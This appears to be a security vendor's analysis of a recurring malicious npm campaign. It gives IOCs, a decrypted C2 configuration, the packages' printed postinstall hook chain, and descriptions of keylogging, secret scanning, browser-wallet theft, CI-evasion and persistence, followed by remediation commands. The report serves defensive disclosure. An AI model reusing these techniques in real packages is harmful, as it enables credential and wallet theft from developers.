Three package names, six versions of zod-pino, two of zod-pino434, four of zod-pino444. Published between June 22 and July 5, 2026. All twelve are the same malware, operated by the same actor, connecting to the same hosting provider that has been running this campaign since April 7, 2026.
Campaign Cluster Map
| Wave | Package(s) | Period | Account | C2 | Status |
|---|---|---|---|---|---|
| 1 | forge-jsx, @johntaohunter/forge-jsx | Apr 7-15, 2026 | johnceballos0716, johntaohunter | 204.10.194.247 | npm security-replaced |
| 2 | forge-jsxy | May 4-26, 2026 | jacksonkaandorp2 | 204.10.194.247 | npm security-replaced |
| 3 | forge-jsx4, zod-pino | Jun 22-23, 2026 | wiped | 204.10.194.247 | npm security-replaced |
| 4 | zod-pino434, zod-pino444, zredis-typed, pinokio-redis | Jul 4-6, 2026 | donimique | 212.193.3.61 | Live |
Version numbering is the binding evidence. The malicious versions of zod-pino start at 1.0.122. SafeDep’s published analysis documented forge-jsxy running through v1.0.91. The gap (v1.0.92 through v1.0.121) is unaccounted for in public reporting but the counter is the same counter. zod-pino434 opens at 1.0.127 and zod-pino444 at 1.0.128, exactly where zod-pino ended. The same AES-256-GCM obfuscation scheme, relay port, API port, and default session password appear across all four waves extracted from each tarball. The C2 changed between Wave 3 and Wave 4, but both IPs sit on AS206216 (Advin Services LLC, Nürnberg, Germany), the same hosting provider used throughout the campaign’s history.
Wave 3: zod-pino
zod-pino was published June 22, 2026 and taken down by npm on June 26. The publisher account has been wiped; registry metadata for all six malicious versions (1.0.122 through 1.0.127) is stripped. The 0.0.1-security placeholder remains.
Six versions across a 25-hour window confirms active iteration: the operator was testing or refining the payload while the package was live. No tarballs are recoverable from the registry.
The name anomaly is worth noting: zod is a widely-used TypeScript schema validation library. pino is a popular Node.js logger. Neither has any connection to the payload. The compound zod-pino does not describe a real tool. The same pattern appears in Wave 4: zod-pino434, zod-pino444, zredis-typed, pinokio-redis are all semantically incoherent compounds of legitimate npm project names, chosen to look like internal tooling at a JavaScript shop.
Wave 4: zod-pino434 and zod-pino444
Wave 4 opened July 4, 2026, eleven days after zod-pino was replaced, under a new account: donimique (donimiqueakers@gmail.com). Two packages instead of one, published in parallel. zod-pino444@1.0.131 is the current latest as of this analysis.
Version Timeline
| Package | Version | Published (UTC) | Notes |
|---|---|---|---|
zod-pino434 | 1.0.127 | 2026-07-04T17:59:15Z | Wave 4 debut; 208 files, 2.78 MB |
zod-pino434 | 1.0.128 | 2026-07-05T04:17:06Z | C2 rotated to 212.193.3.61; still AS206216 |
zod-pino444 | 1.0.128 | 2026-07-05T04:37:48Z | 20 minutes after 434@1.0.128; parallel delivery vehicle |
zod-pino444 | 1.0.129 | 2026-07-05T04:45:23Z | First version declaring zod-pino444 as its own dependency |
zod-pino444 | 1.0.130 | 2026-07-05T16:09:50Z | Self-dependency updated to ^1.0.129 |
zod-pino444 | 1.0.131 | 2026-07-05T17:33:14Z | Latest; files-explorer-template.html updated; self-dep ^1.0.130 |
All versions share the identical postinstall chain, npm client version (11.6.1), and Node.js version (24.10.0). No environment changes across publishes.
The toolchain fingerprint differs from Wave 3. zod-pino was published with npm 11.6.1 / Node 24.10.0; forge-jsxy used npm 11.6.1 / Node 24.11.1. The environment shift between waves is consistent with OS or runtime updates on the operator’s build machine.
Package Anatomy
Each Wave 4 tarball contains 208 files at 2.78 MB unpacked. The package claims to be a “Node.js integration layer for Autodesk Forge.” There is no such integration. The README is three words: “forge-jsx: Agent system for desktop.” The package name is zod-pino434 or zod-pino444. Three names, one package, none of them consistent.
The full postinstall chain, declared in package.json:
"postinstall": "node scripts/postinstall-clipboard-event.mjs && node scripts/ensure-dist.mjs && node scripts/postinstall-durable-materialize.mjs && node scripts/postinstall-bootstrap.mjs && node scripts/postinstall-agent.mjs"Five scripts execute in sequence. The first two handle native binaries and build guards. The critical three are the last three.
Module table (Wave 4 capability surface):
| Module | File | Capability |
|---|---|---|
| Durable installer | scripts/postinstall-durable-materialize.mjs | Copies agent tree to hidden OS directory outside node_modules |
| Bootstrap | scripts/postinstall-bootstrap.mjs | Runs cli-forge.js to install OS autostart and start the agent |
| Agent spawner | scripts/postinstall-agent.mjs | Detaches background cli-agent.js; survives npm install exit |
| C2 config | dist/deploymentCipherData.js | AES-256-GCM encrypted host, ports, session password |
| C2 resolver | dist/deploymentDefaults.js | XOR-reconstructs AES key; decrypts C2 config at runtime |
| Keylogger | dist/agentRunner.js | Global OS keyboard hooks via uiohook-napi |
| Clipboard | dist/clipboardEventWatcher.js, dist/clipboardNapi.js | Clipboard monitoring via @napi-rs/clipboard |
| Env scanner | dist/secretScan/agentStartupAudit.js | Full-disk scan; uploads to HuggingFace |
| Browser harvester | dist/chromiumExtensionDbHarvest.js | Copies LevelDB extension DBs from 21 Chromium browsers |
| HF upload | dist/hfUpload.js, dist/extensionDbHfUpload.js | Uploads to attacker HuggingFace repos |
| Screenshots | dist/discordAgentScreenshot.js | Full-screen capture via jimp; posts to Discord bot webhooks |
| Filesystem relay | dist/filesExplorer.js, dist/fsProtocol.js | WebSocket-driven remote file access |
| WebRTC | dist/forgeRtcAgent.js, dist/forgeBulkDc.js | P2P data channels via node-datachannel |
| Linux persistence | dist/autostart/linux.js | systemd user unit + XDG .desktop |
| macOS persistence | dist/autostart/darwin.js | launchctl bootstrap LaunchAgent plist |
| Windows persistence | dist/autostart/windows.js | Task Scheduler + HKCU\Run via VBScript hidden launcher |
Execution Trigger and Durable Installation
The postinstall chain runs on every npm install. The chain is gated on CI detection: if any of CI, GITHUB_ACTIONS, GITLAB_CI, TRAVIS, CIRCLECI, JENKINS_URL, or TEAMCITY_VERSION are set, every malicious script exits cleanly. The package installs on CI runners without executing the payload. Every developer workstation that does not set one of those variables is a live target.
postinstall-durable-materialize.mjs runs first. It packs the current tarball with npm pack --ignore-scripts and installs it under a hidden local prefix:
- Linux:
~/.local/share/cfgmgr/.forge-jsxy/runtime/v<version>/ - macOS:
~/Library/Application Support/CfgMgr/data/.forge-jsxy/runtime/v<version>/ - Windows:
%LOCALAPPDATA%\CfgMgr\data\.forge-jsxy\runtime\v<version>\
The path that survives on disk is <prefix>/node_modules/zod-pino444/dist/. A current.json file records the active distDir path. The agent and all autostart entries point at this durable copy, not at the npm project directory.
npm uninstall zod-pino444 deletes the npm package. The durable copy at ~/.local/share/cfgmgr/ is untouched. The agent keeps running.
Payload Analysis
C2 Configuration
The relay host, relay port, API port, and default session password are stored as an AES-256-GCM ciphertext in dist/deploymentCipherData.js. The 32-byte decryption key is embedded in two XOR-obfuscated 16-byte arrays. Reconstructing the key from the arrays extracted during tarball analysis and running the AES-GCM decryption yields:
{
"publicHost": "212.193.3.61",
"relayPort": 9877,
"apiPort": 8765,
"defaultExplorerPassword": "secret"
}The relay port (9877), API port (8765), and session password (secret) are identical to every prior wave of this campaign. The C2 host changed from 204.10.194.247 (Waves 1-3) to 212.193.3.61 (Wave 4). Both sit on AS206216, Advin Services LLC, Nürnberg. The operator kept the same hosting provider and rotated only the IP.
We probed both ports on 212.193.3.61 directly. Neither responded within the 10-second timeout window. The C2 appears offline at the time of analysis, but the agent binary remains resident and will reconnect when the relay comes back online.
Keylogging
The agent loads uiohook-napi and registers a global OS keyboard hook: WH_KEYBOARD_LL on Windows, X11 Record Extension on Linux, CGEventTap on macOS. Every keydown event from every application passes through the hook. A 1200ms trailing-edge debounce timer flushes the accumulated buffer after each pause in typing; Enter flushes immediately. The flushed payload goes to the C2 API endpoint.
Every password typed in every application, in every browser, in every terminal, system-wide, since install.
Full-Disk Secret Scanner
dist/secretScan/agentStartupAudit.js walks the full filesystem and collects cryptographic material with cryptographic validation:
- BIP39 mnemonics: checksum-verified using
@scure/bip39. Loose prose mnemonics are excluded; only properly checksum-valid 12/24-word sequences match. - secp256k1 private keys: scalar range validated against the group order.
- WIF, BIP32 extended keys (
xprv,tprv,zprv), Solana keypairs: each format is validated before recording.
The scan target list, embedded in assets/secret_filename_patterns.json, explicitly names Solana (.solana, keypair.json), Ethereum (.ethereum, .keystore), Bitcoin (.bitcoin), and generic patterns (hardhat.config.js, truffle-config.js, wallet*.json). The scan walks / on POSIX and every drive letter on Windows, with exclusions for node_modules, .git, proc, sys, and dev.
Results accumulate in ~/.../cfgmgr/.forge-jsxy/.vault/secret-audit/result.json and upload to attacker-controlled HuggingFace repositories at path agents/<hostname>/result.json. Credentials for the HuggingFace upload are encrypted with the same AES key as the C2 config, fetched from the relay at startup.
Chromium Browser Extension Database Harvest
dist/chromiumExtensionDbHarvest.js enumerates 21 Chromium-family browsers across all three platforms: Chrome, Edge, Brave, Vivaldi, Opera, Opera GX, Arc, Yandex, Epic, Iridium, Thorium, Cent Browser, Slimjet, 360Chrome, Coc Coc, Wavebox on Windows and roaming AppData; Chrome, Chromium, Edge, Brave, Vivaldi, Opera, Yandex on Linux; and Chrome, Chromium, Edge, Brave, Vivaldi, Opera, Yandex, Arc on macOS.
For each browser, the harvester finds every Local Extension Settings/<extension_id>/ directory that contains at least one .ldb file (LevelDB sstable). The .ldb gate specifically targets browser extensions with active LevelDB databases: cryptocurrency wallet extensions store their encrypted vaults in LevelDB. The entire <extension_id>/ tree is copied to a staging directory and uploaded as a zip to the HuggingFace session repository.
The harvester kills processes that hold file locks before copying, then restarts them after. On Windows this means forcibly terminating the browser. The user sees their browser close unexpectedly.
Screenshots via Discord Bot Webhooks
dist/discordAgentScreenshot.js captures the full desktop screen using jimp on a relay-configured interval. Each screenshot is sent to the relay as base64 over the WebSocket. The relay posts the image to a per-client Discord text channel using a pool of bot tokens, distributed via FNV-1a hashing of the client UUID. Webhooks are deleted after each upload to limit exposure.
Self-Referencing Dependency (Propagation Attempt)
Starting at zod-pino444@1.0.129, every version declares zod-pino444 as its own dependency:
- v1.0.129:
"zod-pino444": "^1.0.128" - v1.0.130:
"zod-pino444": "^1.0.129" - v1.0.131:
"zod-pino444": "^1.0.130"
When npm resolves the package tree, it installs the prior version as a nested dependency alongside the current version. Both versions run their postinstall hooks. The operator increments the self-dependency with each publish, ensuring that the most recent version always pulls the previous one as a nested install.
OS Autostart Persistence
On macOS, postinstall-bootstrap.mjs runs cli-forge.js which writes a LaunchAgent plist to ~/Library/LaunchAgents/com.forgejs.worker.plist and bootstraps it via launchctl. The plist sets KeepAlive: SuccessfulExit: false, meaning launchd restarts the agent on any non-zero exit. The agent’s singleton guard exits with code 0 when another instance is already running, preventing restart loops.
On Linux, a systemd user unit is written to ~/.config/systemd/user/forge-js-worker.service with Restart=on-failure and loginctl enable-linger called to ensure the service starts at boot without a user session. An XDG .desktop autostart file is also written as a fallback for systems without systemd.
On Windows, a VBScript hidden launcher (forge-js-hidden-launch.vbs) is written to the data directory and registered both as a Task Scheduler task (ForgeJSWorker) and as a HKCU\Software\Microsoft\Windows\CurrentVersion\Run value. wscript.exe runs the VBS with windowStyle=0 (SW_HIDE), ensuring no console window appears.
All three persistence mechanisms survive package removal and machine reboots. The agent restarts automatically on every user login.
C2 and Infrastructure
The Wave 4 C2 is 212.193.3.61, ports 9877 (WebSocket relay) and 8765 (HTTP API). Both IPs used in this campaign (204.10.194.247 for Waves 1-3 and 212.193.3.61 for Wave 4) sit on AS206216, Advin Services LLC, a commercial VPS provider with points of presence in Nürnberg. The IP block 212.193.3.0/24 is in the same Advin allocation as 212.193.3.143, independently identified on Scamalytics as Advin Services LLC infrastructure.
The operator did not change hosting providers between waves. They changed IPs within the same AS. The relay and API ports are unchanged across 90 days of operation.
We probed 212.193.3.61:8765 and 212.193.3.61:9877 directly. Both timed out. The C2 is offline at time of analysis. The agent on any compromised machine will reconnect when the relay returns.
Neither 212.193.3.61 nor 204.10.194.247 appear in VirusTotal, Shodan public scans, or the OSSF malicious-packages dataset as known IOCs outside of this campaign. The operator has maintained fresh infrastructure throughout.
OPSEC Failures
Two operator scripts were shipped inside the published tarball:
scripts/encode-deployment.mjs is the exact tool the operator uses to generate the deploymentCipherData.js blob. It reads FORGE_DEPLOY_HOST, FORGE_DEPLOY_RELAY_PORT, FORGE_DEPLOY_API_PORT, and FORGE_DEPLOY_EXPLORER_PASSWORD from the environment, generates a fresh AES key, XOR-obfuscates it into the two Uint8Array halves, and writes the result to src/deploymentCipherData.ts. Its presence in the tarball confirms the operator publishes directly from the same directory used for development, without stripping build tooling from the published artifact.
scripts/encode-hf-credentials.mjs is the tool that encrypts a HuggingFace token (hf_...) into the CFGMGR_HF_CREDENTIALS_B64 blob that agents use to authenticate HuggingFace uploads. It requires only the operator’s HF token and the same AES key already embedded in the package to generate a new credential blob. Given that the AES key can be reconstructed from the published tarball, this script in published form means anyone who downloads the package can generate valid encrypted HF credentials for a new operator-controlled HF account and inject them into a running agent by setting CFGMGR_HF_CREDENTIALS_B64.
IOC Table
| Indicator | Type | Value | Method |
|---|---|---|---|
zod-pino | npm package | versions 1.0.122 to 1.0.127 | Confirmed malicious in OSV advisory MAL-2026-6273 |
zod-pino434 | npm package | versions 1.0.127 to 1.0.128 | Confirmed malicious in OSV advisory MAL-2026-6794 |
zod-pino444 | npm package | versions 1.0.128 to 1.0.131 | Confirmed malicious in OSV advisory MAL-2026-6795 |
212.193.3.61 | C2 host | ports 9877, 8765 | Decrypted from dist/deploymentCipherData.js AES-GCM blob during tarball analysis |
donimique | npm account | donimiqueakers@gmail.com | Pulled from registry metadata; maintainer of all Wave 4 packages |
forge-js-worker | systemd unit name | ~/.config/systemd/user/forge-js-worker.service | Extracted from dist/autostart/constants.js during tarball analysis |
com.forgejs.worker | macOS LaunchAgent label | ~/Library/LaunchAgents/com.forgejs.worker.plist | Extracted from dist/autostart/constants.js during tarball analysis |
ForgeJSWorker | Windows Task / Run key | HKCU\...\Run\ForgeJSWorker | Extracted from dist/autostart/constants.js during tarball analysis |
~/.local/share/cfgmgr/.forge-jsxy/ | Durable agent path (Linux) | Contains live cli-agent.js and current.json | Traced from scripts/forge-isolated-runtime.mjs and dist/clientId.js |
%LOCALAPPDATA%\CfgMgr\data\.forge-jsxy\ | Durable agent path (Windows) | Contains live cli-agent.js and current.json | Traced from dist/clientId.js |
~/Library/Application Support/CfgMgr/data/.forge-jsxy/ | Durable agent path (macOS) | Contains live cli-agent.js and current.json | Traced from dist/clientId.js |
| AS206216 | Hosting provider | Advin Services LLC, Nürnberg | Cross-referenced against SafeDep Wave 1/2 reports; both campaign C2 IPs confirmed on this ASN |
Affected Versions Table
| Package | Version | Published (UTC) | SHA-256 (tarball) | Status | OSV |
|---|---|---|---|---|---|
zod-pino | 1.0.122 | 2026-06-22T18:30:26Z | not recoverable | Unpublished; npm security-replaced | MAL-2026-6273 |
zod-pino | 1.0.123 | 2026-06-23T04:41:03Z | not recoverable | Unpublished | MAL-2026-6273 |
zod-pino | 1.0.124 | 2026-06-23T06:57:41Z | not recoverable | Unpublished | MAL-2026-6273 |
zod-pino | 1.0.125 | 2026-06-23T07:11:13Z | not recoverable | Unpublished | MAL-2026-6273 |
zod-pino | 1.0.126 | 2026-06-23T17:32:30Z | not recoverable | Unpublished | MAL-2026-6273 |
zod-pino | 1.0.127 | 2026-06-23T20:09:47Z | not recoverable | Unpublished | MAL-2026-6273 |
zod-pino434 | 1.0.127 | 2026-07-04T17:59:15Z | SHA256: 9e570641fd815e2fd6cf50aaa847c43c2fe938c7b368bf7c239f511827ff9a24 | Live; identical to 1.0.128 | MAL-2026-6794 |
zod-pino434 | 1.0.128 | 2026-07-05T04:17:06Z | SHA256: 9e570641fd815e2fd6cf50aaa847c43c2fe938c7b368bf7c239f511827ff9a24 | Live; latest dist-tag | MAL-2026-6794 |
zod-pino444 | 1.0.128 | 2026-07-05T04:37:48Z | SHA256: 93817e263f285f20ed213eb07bbab2857493183c0abf9563facfc65fdd4467f7 | Live | MAL-2026-6795 |
zod-pino444 | 1.0.129 | 2026-07-05T04:45:23Z | SHA256: computed | Live | MAL-2026-6795 |
zod-pino444 | 1.0.130 | 2026-07-05T16:09:50Z | SHA256: computed | Live | MAL-2026-6795 |
zod-pino444 | 1.0.131 | 2026-07-05T17:33:14Z | SHA256: 1d4ef70d7856704b373579ae23cba0ebf690ef062b29361f6aa0f51a1cdd9052 | Live; latest dist-tag | MAL-2026-6795 |
SHA256 values computed from tarballs downloaded directly from the npm registry during analysis.
Remediation
Because the agent materializes itself outside node_modules before npm install returns, package removal must be followed by manual cleanup of the durable installation. Do both or the agent keeps running.
Step 1: Remove the npm package.
npm uninstall zod-pino zod-pino434 zod-pino444Verify none of the three package names appear in any package.json or lockfile in the codebase, including transitive dependencies fields.
Step 2: Kill the running agent.
Linux:
systemctl --user stop forge-js-worker 2>/dev/null
pkill -f "cfgmgr/.forge-jsxy" 2>/dev/nullmacOS:
launchctl bootout "gui/$(id -u)/com.forgejs.worker" 2>/dev/null
pkill -f "CfgMgr/data/.forge-jsxy" 2>/dev/nullWindows (PowerShell):
schtasks /End /TN "ForgeJSWorker"
Get-Process node | Where-Object { $_.Path -like "*CfgMgr*" } | Stop-ProcessStep 3: Remove the durable installation and autostart entries.
Linux:
systemctl --user disable forge-js-worker 2>/dev/null
rm -f ~/.config/systemd/user/forge-js-worker.service
rm -f ~/.config/autostart/forge-js-worker.desktop
rm -rf ~/.local/share/cfgmgr
rm -rf ~/.local/share/.forge-jsmacOS:
launchctl unload ~/Library/LaunchAgents/com.forgejs.worker.plist 2>/dev/null
rm -f ~/Library/LaunchAgents/com.forgejs.worker.plist
rm -rf ~/Library/Application\ Support/CfgMgrWindows (PowerShell):
schtasks /Delete /TN "ForgeJSWorker" /F
reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "ForgeJSWorker" /f
Remove-Item -Recurse -Force "$env:LOCALAPPDATA\CfgMgr"Step 4: Credential rotation. The agent scanned the filesystem at startup and on a recurring schedule. Rotate all of the following from the affected machine: API keys in .env files, cloud credentials (~/.aws/credentials, ~/.config/gcloud), SSH private keys (~/.ssh/), HuggingFace tokens, GitHub tokens and npm publish tokens, browser-stored passwords (treat all Chromium-family extension vaults as compromised), and any crypto wallet private keys or seed phrases stored in files.
The keylogger captured every password typed since installation. Change passwords for all accounts accessed on the machine, starting with those with write access to source repositories or CI/CD pipelines. If a compromised machine had npm publish tokens with write access to packages, audit those packages for unauthorized versions.
Attribution
The operator behind zod-pino, zod-pino434, and zod-pino444 is the same operator who published forge-jsx and forge-jsxy. The linking evidence is:
- Sequential version numbering across package name changes:
forge-jsxyended at v1.0.91;zod-pinoopened at v1.0.122;zod-pino434opened at v1.0.127;zod-pino444opened at v1.0.128. - Identical AES-256-GCM encryption scheme, relay port (9877), API port (8765), and default session password (
secret) across all four waves, confirmed by decrypting the ciphertext in each available tarball. - Consistent hosting provider:
204.10.194.247(Waves 1-3) and212.193.3.61(Wave 4) are both on AS206216, Advin Services LLC, Nürnberg. SafeDep’s Wave 2 report documented the Wave 1-3 C2 IP; we confirm the Wave 4 IP is on the same AS. - Identical capability set, npm toolchain fingerprint (11.6.1), and code signatures across all recoverable tarballs.
Prior attribution research by SafeDep noted technical capability overlap with DPRK-linked terminal-logger-utils (jpeek895), but found no direct infrastructure or code string matches confirming state sponsorship. We searched the OSSF malicious-packages dataset and the kmsec DPRK research feed for donimique, donimiqueakers, and 212.193.3.61. No matches. The campaign identity remains unattributed beyond the four-wave NPM cluster itself.
